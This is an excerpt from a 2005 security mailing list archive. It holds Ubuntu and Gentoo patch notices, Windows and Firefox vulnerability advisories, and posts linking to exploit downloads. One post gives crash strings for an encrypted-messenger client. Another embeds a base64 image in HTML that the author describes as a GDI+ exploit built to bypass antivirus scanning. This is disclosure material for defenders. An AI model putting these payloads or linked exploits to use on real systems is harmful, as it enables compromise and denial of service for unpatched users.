      Size/MD5:    92828 40b738af512065868c3bd38a86652ee0
    http://security.ubuntu.com/ubuntu/pool/universe/k/krb5/krb5-clients_1.3.4-3ubuntu0.1_i386.deb
      Size/MD5:   186464 a2da914f916c3bf6b53d1c417e74b5cf
    http://security.ubuntu.com/ubuntu/pool/universe/k/krb5/krb5-ftpd_1.3.4-3ubuntu0.1_i386.deb
      Size/MD5:    50728 c53fab7706867bfd2e2defaaca0e8aba
    http://security.ubuntu.com/ubuntu/pool/universe/k/krb5/krb5-kdc_1.3.4-3ubuntu0.1_i386.deb
      Size/MD5:   113756 2e6293b7d8788ca1e6584eeb371d4746
    http://security.ubuntu.com/ubuntu/pool/universe/k/krb5/krb5-rsh-server_1.3.4-3ubuntu0.1_i386.deb
      Size/MD5:    73758 d2b3b94e05e43169379c0d6a742d15e2
    http://security.ubuntu.com/ubuntu/pool/universe/k/krb5/krb5-telnetd_1.3.4-3ubuntu0.1_i386.deb
      Size/MD5:    55284 8d279d10b1238c64e8e788e163d10697
    http://security.ubuntu.com/ubuntu/pool/universe/k/krb5/krb5-user_1.3.4-3ubuntu0.1_i386.deb
      Size/MD5:   125264 0e37aeb9bf575e214e526148f6021abd
    http://security.ubuntu.com/ubuntu/pool/main/k/krb5/libkadm55_1.3.4-3ubuntu0.1_i386.deb
      Size/MD5:   160580 b735959ba91dad37fd12dd89faf798de
    http://security.ubuntu.com/ubuntu/pool/main/k/krb5/libkrb5-dev_1.3.4-3ubuntu0.1_i386.deb
      Size/MD5:   559754 cccfdccc55db99dce5d79583060ec1a7
    http://security.ubuntu.com/ubuntu/pool/main/k/krb5/libkrb53_1.3.4-3ubuntu0.1_i386.deb
      Size/MD5:   339586 9c4e8bb211b3b463d2293a7e5acebac9

  powerpc architecture (Apple Macintosh G3/G4/G5)

    http://security.ubuntu.com/ubuntu/pool/universe/k/krb5/krb5-admin-server_1.3.4-3ubuntu0.1_powerpc.deb
      Size/MD5:   103998 72a3841148e8736286547e3b34b0d42d
    http://security.ubuntu.com/ubuntu/pool/universe/k/krb5/krb5-clients_1.3.4-3ubuntu0.1_powerpc.deb
      Size/MD5:   214930 137626b6516e100a313612b79f28a2f4
    http://security.ubuntu.com/ubuntu/pool/universe/k/krb5/krb5-ftpd_1.3.4-3ubuntu0.1_powerpc.deb
      Size/MD5:    55814 592491f4a84ce02651ec9489d2f64c4e
    http://security.ubuntu.com/ubuntu/pool/universe/k/krb5/krb5-kdc_1.3.4-3ubuntu0.1_powerpc.deb
      Size/MD5:   124368 d68fe5a0c785baa01d2d7e7b6f14477f
    http://security.ubuntu.com/ubuntu/pool/universe/k/krb5/krb5-rsh-server_1.3.4-3ubuntu0.1_powerpc.deb
      Size/MD5:    81392 2c43228e3b6d42fcdd214a516e9a4329
    http://security.ubuntu.com/ubuntu/pool/universe/k/krb5/krb5-telnetd_1.3.4-3ubuntu0.1_powerpc.deb
      Size/MD5:    60498 d2604219b83e84bea7ee2460a626fb59
    http://security.ubuntu.com/ubuntu/pool/universe/k/krb5/krb5-user_1.3.4-3ubuntu0.1_powerpc.deb
      Size/MD5:   141916 fa44026deba1951732f3748381d0f842
    http://security.ubuntu.com/ubuntu/pool/main/k/krb5/libkadm55_1.3.4-3ubuntu0.1_powerpc.deb
      Size/MD5:   164366 b71f6b535f950994b907f39e8685ee57
    http://security.ubuntu.com/ubuntu/pool/main/k/krb5/libkrb5-dev_1.3.4-3ubuntu0.1_powerpc.deb
      Size/MD5:   633862 bc094b01dfd0b507e157c870b6fa94a8
    http://security.ubuntu.com/ubuntu/pool/main/k/krb5/libkrb53_1.3.4-3ubuntu0.1_powerpc.deb
      Size/MD5:   351532 6fdb209e66b2935696a43f60efad7934
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: Digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050110/87095b1c/attachment.bin 

From dante at alighieri.org  Mon Jan 10 14:28:26 2005
From: dante at alighieri.org (Davide Del Vecchio)
Date: Mon, 10 Jan 2005 15:28:26 +0100
Subject: [Full-Disclosure] bluetooth bluesnarfing tool
Message-ID: <20050110142826.18384.qmail@webmail2.aruba.it>

Hello, 

sometimes ago, me and Roberto "boos" Martelloni, developed
a Linux pof to bluesnarf (read/write/search/perform arbitrary command..). 

The tool was attached to an article (just Italian) published on
the e-zine BFi. 

The compressed archive (article+tool) could be downloaded at the url: 

http://www.alighieri.org/projects/bluetooth.tar.gz 

d. 

 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Davide Del Vecchio "Dante Alighieri" dante at alighieri.org dante at olografix.org
http://www.alighieri.org http://www.ezln.it
 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 



From evilpacket at gmail.com  Mon Jan 10 16:36:29 2005
From: evilpacket at gmail.com (Adam Baldwin)
Date: Mon, 10 Jan 2005 08:36:29 -0800
Subject: [Full-Disclosure] Encrypted Messenger DoS Vulnerability
Message-ID: <d64cfa0d050110083673dd4b64@mail.gmail.com>

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

Title: Encrypted Messenger Remote DoS Vulnerability
Vendor Homepage: http://www.johnytech.com


Discovered by: Adam Baldwin (evilpacket at ngenuity-is.com)
www.evilpacket.net\advisories\EP-000-0001.html

Discovery Date: 1.6.2005

Criticality: Low

Vulnerable Version:Encrypted Messenger 3.0.71 (and possibly earlier versions)

Overview:
Encrypted Messenger (Author: John Hasson) is an add-on program to many 
instant messenger (IM) applications. It provides end-to-end encryption for 
many insecure im applications. It is possible to crash the remote (and local) 
encrypted messenger client using a simple string of characters. Although this
is low criticality, a properly timed message could crash the encrypted
messenger client causing a message being sent to go out insecurly.


Steps for Reproduction:
Simple send one of the following strings anywhere inside of your
IM to cause the remote encrypted messenger client to throw a
run-time exception. Which may be run-time exception (5, 13 or 91)
Note, there is no requirement for encryption to be enabled on the
remote client nor is there any requirement for the attacker to have
encrypted messenger installed.

	Lethal Strings:
	%~%
	!~!


Mitigation:
The author has confirmed that the next release of Encrypted Messenger will
contain a fix for this vulnerability.. As always do not add or authorize unknown
users to your IM client.

At this time it is not known if further exploitation is possible.

Thanks to Craig Lewis, who helped with extended testing.

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *


From javapro13 at mac.com  Mon Jan 10 16:43:06 2005
From: javapro13 at mac.com (Kartik Trivedi)
Date: Mon, 10 Jan 2005 08:43:06 -0800
Subject: [Full-Disclosure] Google Hacking and SiteDigger 2.0
In-Reply-To: <20050110142826.18384.qmail@webmail2.aruba.it>
References: <20050110142826.18384.qmail@webmail2.aruba.it>
Message-ID: <13884577.1105375386999.JavaMail.javapro13@mac.com>

Foundstone releases Sitedigger 2.0. Popular free tool to harvest security exposures using google. Download from http://www.foundstone.com

New features include 

Increased signatures - ~1000 (Foundstone + johnny.ihackstuff.com signatures). Latest signature exposes webcams :) 
Automatic updates, Improved search, Enhanced reports and submit signatrues - get credits 

http://www.infoworld.com/article/05/01/10/02NNmcafee_1.html
http://biz.yahoo.com/prnews/050110/sfm075_1.html

Cheers
Kartik


From dbounds at intrusense.com  Mon Jan 10 16:42:38 2005
From: dbounds at intrusense.com (Darren Bounds)
Date: Mon, 10 Jan 2005 11:42:38 -0500
Subject: [Full-Disclosure] AV security contacts
Message-ID: <A3A5B1A4-6326-11D9-97DC-000A95820F5E@intrusense.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hello,

I'm looking for security contact information for the following vendors:

   - Sophos
   - Trend
   - McAfee
   - Norman
   - Norton

Any assistance would be greatly appreciated.


Thank you,

Darren Bounds
Intrusense, LLc.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (Darwin)

iD8DBQFB4rCIsvxTSz2eaa8RAhMkAKDJt+Rxb4oNiG58TQxMTD8YyydpxgCfeBkO
KBq2CqrvZSLW0e/rmpFUUIc=
=wra9
-----END PGP SIGNATURE-----



From liudieyu at umbrella.name  Tue Jan 11 06:46:09 2005
From: liudieyu at umbrella.name (Liu Die Yu)
Date: Tue, 11 Jan 2005 01:46:09 -0500
Subject: [Full-Disclosure] applicable exploit for winxp-sp2-uptodate
	Internet Explorer
Message-ID: <41E37631.3030003@umbrella.name>

patch will come in hours(at least i believe so).

many people(paul of greyhats and mike, sandblad of secunia and 
shreddersub7) already provided proof-of-concept remote-code-execution 
exploit for winxp-sp2-uptodate Internet Explorer.

the problem is: their code is simply not applicable in real attack. so i 
made this:
http://0daymon.org/monitor/injecthh-op-2/dir/injecthh_op_2-code_by_liudieyu
http://0daymon.org/monitor/injecthh-op-2/dir.zip



From liudieyu at umbrella.name  Tue Jan 11 07:06:14 2005
From: liudieyu at umbrella.name (Liu Die Yu)
Date: Tue, 11 Jan 2005 02:06:14 -0500
Subject: [Full-Disclosure] UPDATED: the insider exploit( = the latest ie
 0day which involves SHOWMODALDIALOG)
Message-ID: <41E37AE6.1060708@umbrella.name>

the insider exploit( = the latest ie 0day involving SHOWMODALDIALOG) was 
verified to work on winxp-en-pro-sp1-ms04004(MS04-004 = Q832894 = 
KB832894), but it does not work on winxp-en-pro-sp1-noextrapatch.

jelmer's exploit is not perfect: URLs are hardcoded, and JSP is not 
popular. so i made this PHP version for copy-and-play:
http://0daymon.org/monitor/insider/dir.zip

=====
i got it while preparing my collection of applicable IE 0day and related 
original posts:
http://0daymon.org/monitor/
that exploit doesn't work without that IE patch - quite weired, right?

and those phishers and their tech support are not as wise as the media 
describes:
1. they should have removed their code immediately after 
THE-INSIDER(RAFI from IS) published those URLs. but they still  run 
their stuff to tell the whole world: "yes! we are criminals armed with 
0day!"
2. at that time most of home-user systems( = their targets) were not 
uptodate, which means most of them didn't have MS04-004 required for the 
exploit to successfully compromise themself.

first i test, then i post :-)))



From martin.pitt at canonical.com  Mon Jan 10 19:03:54 2005
From: martin.pitt at canonical.com (Martin Pitt)
Date: Mon, 10 Jan 2005 20:03:54 +0100
Subject: [Full-Disclosure] [USN-59-1] mailman vulnerabilities
Message-ID: <20050110190354.GA19907@box79162.elkhouse.de>

===========================================================
Ubuntu Security Notice USN-59-1		   January 10, 2005
mailman vulnerabilities
CAN-2004-1177, http://bugs.debian.org/285839
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 4.10 (Warty Warthog)

The following packages are affected:

mailman

The problem can be corrected by upgrading the affected package to
version 2.1.5-1ubuntu2.2. In general, a standard system upgrade is
sufficient to effect the necessary changes.

Details follow:

Florian Weimer discovered a cross-site scripting vulnerability in
mailman's automatically generated error messages. An attacker could
craft an URL containing JavaScript (or other content embedded into
HTML) which triggered a mailman error page. When an unsuspecting user
followed this URL, the malicious content was copied unmodified to the
error page and executed in the context of this page.

Juha-Matti Tapio discovered an information disclosure in the private
rosters management. Everybody could check whether a specified email
address was subscribed to a private mailing list by looking at the
error message. This bug was Ubuntu/Debian specific.

Important note:

There is currently another known vulnerability: when an user
subscribes to a mailing list without choosing a password, mailman
automatically generates one. However, there are only about 5 million
different possible passwords which allows brute force attacks.

A different password generation algorithm already exists, but is
currently too immature to be put into a stable release security
update. Therefore it is advisable to always explicitly choose a
password for subscriptions, at least until this gets fixed in Warty
Warthog.

See https://bugzilla.ubuntu.com/4892 for details.


  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/m/mailman/mailman_2.1.5-1ubuntu2.1.diff.gz
      Size/MD5:   126741 01388ca6ce18ad7c6ffed0dd80331787
    http://security.ubuntu.com/ubuntu/pool/main/m/mailman/mailman_2.1.5-1ubuntu2.1.dsc
      Size/MD5:      658 a7fdf27bc0a54c7ce646c068ccbab069
    http://security.ubuntu.com/ubuntu/pool/main/m/mailman/mailman_2.1.5-1ubuntu2.2.diff.gz
      Size/MD5:   126788 0c685a329b175f2cd9bef8c86ddd3179
    http://security.ubuntu.com/ubuntu/pool/main/m/mailman/mailman_2.1.5-1ubuntu2.2.dsc
      Size/MD5:      658 f0251d2cb874e9b11d89e784b742ea8e
    http://security.ubuntu.com/ubuntu/pool/main/m/mailman/mailman_2.1.5.orig.tar.gz
      Size/MD5:  5745912 f5f56f04747cd4aff67427e7a45631af

  amd64 architecture (Athlon64, Opteron, EM64T Xeon)

    http://security.ubuntu.com/ubuntu/pool/main/m/mailman/mailman_2.1.5-1ubuntu2.2_amd64.deb
      Size/MD5:  6602214 27b11a8db50589de58d10d3332dc8ddb

  i386 architecture (x86 compatible Intel/AMD)

    http://security.ubuntu.com/ubuntu/pool/main/m/mailman/mailman_2.1.5-1ubuntu2.2_i386.deb
      Size/MD5:  6601678 b7ddc324749fe4f4dae5f822c2d37ded

  powerpc architecture (Apple Macintosh G3/G4/G5)

    http://security.ubuntu.com/ubuntu/pool/main/m/mailman/mailman_2.1.5-1ubuntu2.2_powerpc.deb
      Size/MD5:  6610730 ac37d779df320be8dfe6fb86f4c6293d
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: Digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050110/ebc6f8e5/attachment.bin 

From dbounds at intrusense.com  Mon Jan 10 19:08:11 2005
From: dbounds at intrusense.com (Darren Bounds)
Date: Mon, 10 Jan 2005 14:08:11 -0500
Subject: [Full-Disclosure] Multi-vendor AV gateway image inspection bypass
	vulnerability
Message-ID: <F873C22A-633A-11D9-97DC-000A95820F5E@intrusense.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


Multi-vendor AV gateway image inspection bypass vulnerability
January 10, 2005

A vulnerability has been discovered which allows a remote attacker to  
bypass anti-virus
(as well other security technologies such as IDS and IPS) inspection of  
HTTP image content.

By leveraging techniques described in RFC 2397 for base64 encoding  
image content within
the URL scheme. A remote attack may encode a malicious image within the  
body of an HTML
formatted document to circumvent content inspection.

For example:

http://www.k-otik.com/exploits/09222004.ms04-28-cmd.c.php

The source code at the URL above will by default create a JPEG image  
that will attempt (and fail
without tweaking) to exploit the Microsoft MS04-028 GDI+ vulnerability.  
The image itself is detected
by all AV gateway engines tested (Trend, Sophos and McAfee), however,  
when the same image
is base64 encoded using the technique described in RFC 2397 (documented  
below), inspection
is not performed and is delivered rendered by the client.

While Microsoft Internet Explorer does not support the RFC 2397 URL  
scheme; Firefox, Safari,
Mozilla and Opera do and will render the data and thus successfully  
execute the payload if the necessary
OS and/or application patches have not been applied.


## BEGIN HTML ##

<html>
<body>
<img  
src="data:image/gif;base64,/9j/4AAQSkZJRgABAQEAYABgAAD// 
gAARXhpZgAASUkqAAgAHPD9f0FBQUGWAgAAGgAAABzw
/X9BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQAAAP/bAEMACAYGBwYFCAcHBwkJ
CAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicgIiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv/b
AEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMv/AABEIAAMAAwMBIgACEQEDEQH/xAAfAAABBQEBAQEBAQAAAAAAAAAA
AQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGR
oQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2Rl
ZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbH
yMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/xAAfAQADAQEBAQEBAQEBAAAAAAAA
AQIDBAUGBwgJCgv/xAC1EQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgU
QpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNk
ZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TF
xsfIycrS09TV1tfY2dri4+Tl5ufo6ery8/T19vf4+fr/2gAMAwEAAhEDEQA/APn+iiigD// 
Z">
</body>
</html>

## END HTML ##


Solution:

While AV vendor patches are not yet available, fixes for all currently  
known image vulnerabilities are
and have been for several months.  If you have not yet applied them,  
you have your own
negligence to blame.


Contributions:

Thanks to Scott Roeder and Jacinto Rodriquez their assistance in  
platform testing.


Thank you,

Darren Bounds
Intrusense, LLC.
http://www.intrusense.com

- --
Intrusense - Securing Business As Usual
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (Darwin)

iD8DBQFB4tKesvxTSz2eaa8RAluUAKDmUsM6Hf+U321P/kALTC/rKwoLOwCfaK57
XT6MWYJOH3FmLfV3B1UfuJA=
=82yy
-----END PGP SIGNATURE-----



From vrathod at appsecinc.com  Mon Jan 10 22:12:17 2005
From: vrathod at appsecinc.com (Team SHATTER (Application Security, Inc.))
Date: Mon, 10 Jan 2005 17:12:17 -0500
Subject: [Full-Disclosure] [AppSecInc Team SHATTER Security Advisory]
 Microsoft Windows Improper Token Validation
Message-ID: <41E2FDC1.1030401@appsecinc.com>

Microsoft Windows Improper Token Validation

AppSecInc Team SHATTER Security Advisory
http://www.appsecinc.com/resources/alerts/general/06-0001.html
January 10, 2005

Credit: This vulnerability was discovered and researched by Cesar 
Cerrudo of Application Security, Inc.

Risk Level: High

Summary:
A local privilege elevation vulnerability exists on the Windows 
operating systems. This vulnerability allows any user to take complete 
control over the system and affects Windows 2000, Windows XP, and 
Windows 2003 (all service packs).

Versions Affected:
Microsoft Windows 2000, Windows XP, and Windows 2003 (all service packs).

Details:
According to MSDN:

"An access token is an object that describes the security context of a 
process or thread. The information in a token includes the identity and 
privileges of the user account associated with the process or thread. 
When a user logs on, the system verifies the user's password by 
comparing it with information stored in a security database. If the 
password is authenticated, the system produces an access token. Every 
process executed on behalf of this user has a copy of this access token.

The system uses an access token to identify the user when a thread 
interacts with a securable object or tries to perform a system task that 
requires privileges. Access tokens contain the following information:

- The security identifier (SID) for the user's account
- SIDs for the groups of which the user is a member
- A logon SID that identifies the current logon session
- A list of the privileges held by either the user or the user's groups
- An owner SID
- The SID for the primary group
- The default DACL that the system uses when the user creates a 
securable object without specifying a security descriptor
- The source of the access token
- Whether the token is a primary or impersonation token
- An optional list of restricting SIDs
- Current impersonation levels
- Other statistics

Every process has a primary token that describes the security context of 
the user account associated with the process. By default, the system 
uses the primary token when a thread of the process interacts with a 
securable object. Moreover, a thread can impersonate a client account. 
Impersonation allows the thread to interact with securable objects using 
the client's security context. A thread that is impersonating a client 
has both a primary token and an impersonation token."

Microsoft introduced a new user right called "Impersonate a client after 
authentication" in Windows 2000 SP4, Windows 2003, and Windows XP SP2. 
This right allows or limits the processes ran by a user from being able 
to impersonate. For instance, if a process thread running in the 
security context of a user without proper rights tries to impersonate, 
then it gets an Identity Token instead of an Impersonation Token. An 
Identity Token only identifies the user account under which the target 
process is running and can not be used for impersonation. An Identity 
Token can also be retrieved by a thread in order to identify the user 
account under which a process is running. Under certain circumstances 
this Identity Token can be used to impersonate any process thread 
running under any user account.

The attack vector identified is to impersonate a victim using Identity 
Tokens to access network shares using UNC. For instance, after a thread 
gets an Identity Token for the Local System account or an administrative 
account, the token can be used to impersonate and access administrative 
shares such as \\computername\c$ and to replace system files such as 
.exe, .dll, etc... This allows an attacker to elevate privileges or to 
read arbitrary files bypassing permissions. Also, network shares on 
other computers can be accessed in the same way. For instance, user 
JohnDoe's Identity Token can access \\remotepc\someshare\ for which the 
user JohnDoe has permissions but the attacker does not. The attack 
succeeds because apparently that user's credentials are cached by the 
LSASS (Local Security Authority Subsystem Service) after successfully 
authenticating to a network share by standard methods. Then when the 
share is accessed again, the LSASS assumes an Identity Token is an 
Impersonation token and uses the cached credentials to authenticate.

This vulnerability is critical for servers using Terminal Services (or 
Citrix) because a user could impersonate any other user to access 
network shares.

Links:

http://msdn.microsoft.com/library/default.asp?url=/library/en-us/secauthz/security/client_impersonation.asp
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/secauthz/security/access_tokens.asp
http://support.microsoft.com/kb/821546/en-us
http://www.microsoft.com/resources/documentation/WindowsServ/2003/standard/proddocs/en-us/Default.asp?url=/resources/documentation/WindowsServ/2003/standard/proddocs/en-us/647.asp

Workaround:
None.

Fix:
http://www.microsoft.com/technet/security/bulletin/MS04-044.mspx

----------------------------------------------------------------------
Application Security, Inc.
www.appsecinc.com
 
AppSecInc is the leading provider of database security solutions for
the enterprise. AppSecInc products proactively secure enterprise
applications at more than 200 organizations around the world by
discovering, assessing, and protecting the database against rapidly
changing security threats. By securing data at its source, we enable
organizations to more confidently extend their business with
customers, partners and suppliers. Our security experts, combined
with our strong support team, deliver up-to-date application
safeguards that minimize risk and eliminate its impact on business. 
----------------------------------------------------------------------



From vrathod at appsecinc.com  Mon Jan 10 22:12:24 2005
From: vrathod at appsecinc.com (Team SHATTER (Application Security, Inc.))
Date: Mon, 10 Jan 2005 17:12:24 -0500
Subject: [Full-Disclosure] [AppSecInc Team SHATTER Security Advisory]
 Microsoft Windows LPC heap overflow
Message-ID: <41E2FDC8.1050800@appsecinc.com>

Microsoft Windows LPC heap overflow

AppSecInc Team SHATTER Security Advisory
http://www.appsecinc.com/resources/alerts/general/07-0001.html
January 10, 2005

Credit: This vulnerability was discovered and researched by Cesar 
Cerrudo of Application Security, Inc.

Risk Level: High

Summary:
A local privilege elevation vulnerability exists on the Windows 
operating systems. This vulnerability allows any user to take complete 
control over the system and affects Windows NT, Windows 2000, Windows 
XP, and Windows 2003 (all service packs).

Versions Affected:
Microsoft Windows NT, Windows 2000, Windows XP, and Windows 2003 (all 
service packs).

Details:
The LPC (Local Procedure Call) mechanism is a type of interprocess 
communication used by the Windows operating systems. LPC is used to 
communicate between processes running on the same system while RPC 
(Remote Procedure Call) is used to communicate between processes on 
remote systems.

When a client process communicates with a server using LPC, the kernel 
fails to check that the server process has allocated enough memory 
before copying data sent by the client process. The native API used to 
connect to the LPC port is NtConnectPort. A parameter of the 
NtConnectPort API allows a buffer of up 260 bytes. When using this 
function the buffer is copied by the kernel from the client process to 
the server process memory ignoring the buffer size restriction which the 
server process set when calling NtCreatePort (the native API used to 
create LPC ports). This causes a heap corruption in the server process 
allowing arbitrary memory to be overwritten and can lead to arbitrary 
code execution.

Workaround:
None.


Fix:
http://www.microsoft.com/technet/security/bulletin/MS04-044.mspx

----------------------------------------------------------------------
Application Security, Inc.
www.appsecinc.com
 
AppSecInc is the leading provider of database security solutions for
the enterprise. AppSecInc products proactively secure enterprise
applications at more than 200 organizations around the world by
discovering, assessing, and protecting the database against rapidly
changing security threats. By securing data at its source, we enable
organizations to more confidently extend their business with
customers, partners and suppliers. Our security experts, combined
with our strong support team, deliver up-to-date application
safeguards that minimize risk and eliminate its impact on business. 
----------------------------------------------------------------------



From cesarc56 at yahoo.com  Mon Jan 10 22:52:45 2005
From: cesarc56 at yahoo.com (Cesar)
Date: Mon, 10 Jan 2005 14:52:45 -0800 (PST)
Subject: [Full-Disclosure] Windows Improper Token Validation -Exploit-
Message-ID: <20050110225245.59079.qmail@web54407.mail.yahoo.com>

Enjoy!!!!!!;)


Cesar.


		
__________________________________ 
Do you Yahoo!? 
Take Yahoo! Mail with you! Get it on your mobile phone. 
http://mobile.yahoo.com/maildemo 
-------------- next part --------------
An embedded and charset-unspecified text was scrubbed...
Name: ImperExploit.cpp
Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050110/46949fbd/attachment.ksh 

From mikx at mikx.de  Mon Jan 10 23:22:09 2005
From: mikx at mikx.de (mikx)
Date: Tue, 11 Jan 2005 00:22:09 +0100
Subject: [Full-Disclosure] Firespoofing [Firefox 1.0]
Message-ID: <00c801c4f76b$36346020$280207d5@netvision.ads>

__Summary

Using javascript it is possible to spoof the content of security and 
download dialogs by partly covering them with a popup window. This can fool 
a user to download and automaticly execute a file (if a file extension 
association exists) or to grant a script local data access (if codebase 
principals are enabled).

__Expected Behavior

Modal dialogs should always be on top and it should not be possible to 
obfuscate their appearance.

__Proof-of-Concept

http://www.mikx.de/firespoofing/

The PoC is designed for Firefox 1.0 running in a maximized window.

Part 1 - download dialog spoofing
Shows how to cover a download dialog and fool the user to execute a file 
with a standard windows file association (in this case a .ht file). BTW, 
remember the latest .ht buffer overflow...

Part 2 - security dialog spoofing
Shows how to cover a security dialog. Make sure codebase principals are 
enabled (not default but encouraged by many XUL sites). Creates the file 
c:\booom.txt to proof local system access.

__Status

The bug is confirmed but currently unfixed (open for more than 3 months). As 
a partial workaround set dom.disable_window_flip to true in about:config. 
The vendor failed to respond to multiple status requests which led to this 
public disclosure.

2004-09-20 Vendor informed (bugzilla.mozilla.org #260560)
2004-09-20 Vendor confirmed bug
2004-10-20 Status request (open for 1 month - no reply)
2005-01-03 Status request (open for 3 months - no reply)
2005-01-07 Status request (disclosure warning - no reply)
2005-01-11 Public disclosure

__Affected Software

Tested with Firefox 1.0, Mozilla 1.7.5 and Netscape 7.1 on Windows XP SP2.

__Contact Informations

Michael Krax <mikx at mikx.de>
http://www.mikx.de/?p=7

mikx




From krispykringle at gentoo.org  Tue Jan 11 00:07:12 2005
From: krispykringle at gentoo.org (Dan Margolis)
Date: Mon, 10 Jan 2005 19:07:12 -0500
Subject: [Full-Disclosure] [ GLSA 200501-15 ] UnRTF: Buffer overflow
Message-ID: <20050111000712.GA1832@specialk>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200501-15
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: UnRTF: Buffer overflow
      Date: January 10, 2005
      Bugs: #74480
        ID: 200501-15

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

A buffer overflow in UnRTF allows an attacker to execute arbitrary code
by way of a specially crafted RTF file.

Background
==========

UnRTF is a utility to convert files in the Rich Text Format into other
formats.

Affected packages
=================

    -------------------------------------------------------------------
     Package         /   Vulnerable   /                     Unaffected
    -------------------------------------------------------------------
  1  app-text/unrtf      < 0.19.3-r1                      >= 0.19.3-r1

Description
===========

An unchecked strcat() in unrtf may overflow the bounds of a static
buffer.

Impact
======

Using a specially crafted file, possibly delivered by e-mail or over
the web, an attacker may execute arbitrary code with the permissions of
the user running UnRTF.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All unrtf users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=app-text/unrtf-0.19.3-r1"

References
==========

  [ 1 ] Original Announcement
        http://tigger.uic.edu/~jlongs2/holes/unrtf.txt

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-15.xml

Concerns?
=========

